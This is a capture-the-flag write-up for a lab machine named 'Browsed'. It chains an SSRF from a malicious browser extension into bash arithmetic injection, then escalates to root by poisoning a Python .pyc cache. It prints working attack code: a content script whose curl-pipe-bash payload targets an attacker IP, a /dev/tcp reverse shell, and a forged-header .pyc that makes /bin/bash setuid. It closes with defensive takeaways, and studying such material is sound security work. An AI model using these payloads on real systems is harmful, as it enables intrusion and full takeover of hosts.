Browsed - Writeup
Reconnaissance
Port Scan
Nmap reveals two open ports:
- 22/tcp - SSH
- 80/tcp - HTTP (Nginx)
Service Identification
Port 80 hosts a browser extension review platform. The site offers:
- 3 sample extensions available for download (Fontify, ReplaceImages, Timer)
- An upload form to submit your own extension "for review"
Uploading a test extension and examining the returned logs reveals a Chromium instance loading the extension and navigating to two sites - http://localhost/ and http://browsedinternals.htb/. This leaks the internal hostname.
Adding browsedinternals.htb to /etc/hosts reveals a Gitea 1.24.5 instance. It contains a public repository with the source code of a markdownPreview application - a Flask app running internally on localhost:5000.
Initial Access - Bash Arithmetic Injection via SSRF
Source Code Analysis
The Gitea repository contains the markdownPreview application - a Flask app that converts Markdown to HTML. Key files:
app.py
The application exposes a /routines/<rid> endpoint:
@app.route('/routines/<rid>')
def routines(rid):
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
Note: subprocess.run uses a list (no shell=True), so direct command injection at the Python level is not possible. The vulnerability lies deeper.
routines.sh
if [[ "$1" -eq 0 ]]; then
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
fi
The line [[ "$1" -eq 0 ]] evaluates $1 as a bash arithmetic expression. In bash, arithmetic contexts interpret $(command) as command substitution - meaning arbitrary commands inside $(...) will be executed.
Extension Upload
The application also allows uploading browser extensions (as ZIP files), which are then loaded into a Chromium instance via --load-extension. The Chromium browser navigates to both http://localhost/ and http://browsedinternals.htb/, triggering any content scripts.
Exploit Strategy
The attack chain:
- Create a malicious browser extension with a content script
- The content script performs an SSRF request to
http://localhost:5000/routines/<payload> - The payload exploits bash arithmetic injection in
routines.sh - The injected command downloads and executes a reverse shell
Malicious Extension
manifest.json
{
"manifest_version": 3,
"name": "Evil",
"version": "1.0",
"host_permissions": ["<all_urls>"],
"content_scripts": [
{
"matches": ["http://localhost/*", "http://browsedinternals.htb/*"],
"js": ["content.js"],
"run_at": "document_idle"
}
]
}
content.js
const ATTACKER_IP = "10.10.14.2";
const ATTACKER_PORT = "1337";
// Payload uses curl|bash - no forward slashes needed in URL path
const payload = `a[$(curl ${ATTACKER_IP}:${ATTACKER_PORT}|bash)]`;
// SSRF to internal markdownPreview app
fetch("http://localhost:5000/routines/" + encodeURIComponent(payload))
.then(r => r.text())
.then(t => console.log("Response:", t))
.catch(e => console.error("Error:", e));
The payload a[$(curl 10.10.14.2:1337|bash)] works because:
a[...]is valid bash arithmetic syntax (array subscript)$(curl IP:PORT|bash)is evaluated during the arithmetic expansion- No forward slashes appear in the URL path (only inside the encoded payload), so Flask routing works
Exploitation
1. Create reverse shell script (index.html)
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > index.html
2. Start HTTP server (for curl to download from)
python3 -m http.server 1337
3. Start listener
nc -nlvp 9001
4. Zip the extension (files must be at root of ZIP)
5. Upload ext.zip through the Markdown Previewer
Chromium loads the extension, content script fires, SSRF triggers bash RCE
Shell received as user larry:
larry@browsed:~$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)
larry@browsed:~$ cat user.txt
Privilege Escalation - Python .pyc Cache Poisoning
sudo Enumeration
larry@browsed:~$ sudo -l
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
extension_tool.py Analysis
The script is a Python utility for managing browser extensions:
#!/usr/bin/python3.12
from extension_utils import validate_manifest, clean_temp_files
import zipfile
EXTENSION_DIR = '/opt/extensiontool/extensions/'
def main():
parser = ArgumentParser(...)
parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
parser.add_argument('--bump', choices=['major', 'minor', 'patch'])
parser.add_argument('--zip', type=str, nargs='?', const='extension.zip')
parser.add_argument('--clean', action='store_true')
# ...
It imports validate_manifest and clean_temp_files from extension_utils - a module in the same directory.
Identifying the Vector
Checking permissions on /opt/extensiontool/:
| Path | Permissions | Owner |
|---|---|---|
extension_tool.py | -rwxrwxr-x | root:root |
extension_utils.py | -rw-rw-r-- | root:root |
__pycache__/ | drwxrwxrwx | root:root |
The __pycache__/ directory is world-writable. When Python imports extension_utils, it checks for a cached .pyc file in __pycache__/ before reading the source. If the .pyc header (timestamp + source size) matches the source file, Python loads the cached bytecode without reading the original .py file.
Since larry can write to __pycache__/, we can plant a malicious .pyc with a forged header matching extension_utils.py's metadata.
Exploitation
python3.12 -c "
import py_compile, struct, os, shutil
# 1. Create malicious module
with open('/tmp/evil_utils.py','w') as f:
f.write('''import os
os.system(\"chmod +s /bin/bash\")
def validate_manifest(*a,**k):
return {\"version\":\"1.0.0\"}
def clean_temp_files(*a,**k):
pass
''')
# 2. Compile to .pyc
py_compile.compile('/tmp/evil_utils.py', '/tmp/extension_utils.cpython-312.pyc')
# 3. Fix header - match timestamp and size of real source file
src = '/opt/extensiontool/extension_utils.py'
st = os.stat(src)
with open('/tmp/extension_utils.cpython-312.pyc','r+b') as f:
magic = f.read(4) # magic number
flags = f.read(4) # flags
f.write(struct.pack('<I', int(st.st_mtime))) # source timestamp
f.write(struct.pack('<I', st.st_size)) # source size
# 4. Plant in __pycache__
shutil.copy('/tmp/extension_utils.cpython-312.pyc',
'/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc')
print('[+] Poisoned .pyc planted!')
"
Then trigger the import as root:
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
# chmod +s /bin/bash executes as root
larry@browsed:~$ bash -p
bash-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root) egid=0(root) groups=0(root),1000(larry)
bash-5.2# cat /root/root.txt
Attack Chain Summary
Port 80 (Extension Review Platform)
│
├─ Upload extension → logs reveal browsedinternals.htb
│ └─ Gitea 1.24.5 → markdownPreview source code
│
├─ Source code review: routines.sh uses [[ "$1" -eq 0 ]]
│ └─ Bash arithmetic injection via $(command)
│
├─ Malicious browser extension uploaded as ZIP
│ └─ Content script → SSRF to localhost:5000/routines/<payload>
│ └─ a[$(curl ATTACKER|bash)] → reverse shell as 'larry'
│
└─ sudo /opt/extensiontool/extension_tool.py (NOPASSWD)
├─ __pycache__/ is world-writable (drwxrwxrwx)
├─ Malicious .pyc with forged header planted
└─ import extension_utils → code execution as root
└─ chmod +s /bin/bash → bash -p → root shell
Key Takeaways
- Bash arithmetic evaluation (
[[ "$1" -eq 0 ]]) silently executes$(command)substitutions - use=for string comparison instead of-eqwhen processing untrusted input - Browser extensions with broad permissions can perform SSRF to internal services - always validate and sandbox uploaded extensions
__pycache__directories should never be world-writable - a poisoned.pycwith a forged header bypasses source validation and achieves arbitrary code execution- Manifest V3 is required for modern Chrome-based browsers - MV2 extensions will be silently rejected
- Defense in depth: even though
subprocess.runused a list (preventing shell injection in Python), the called bash script introduced its own injection vector through arithmetic evaluation
On this page
- Reconnaissance
- Port Scan
- Service Identification
- Initial Access - Bash Arithmetic Injection via SSRF
- Source Code Analysis
- Exploit Strategy
- Malicious Extension
- Exploitation
- Privilege Escalation - Python .pyc Cache Poisoning
- sudo Enumeration
- extension_tool.py Analysis
- Identifying the Vector
- Exploitation
- Attack Chain Summary
- Key Takeaways
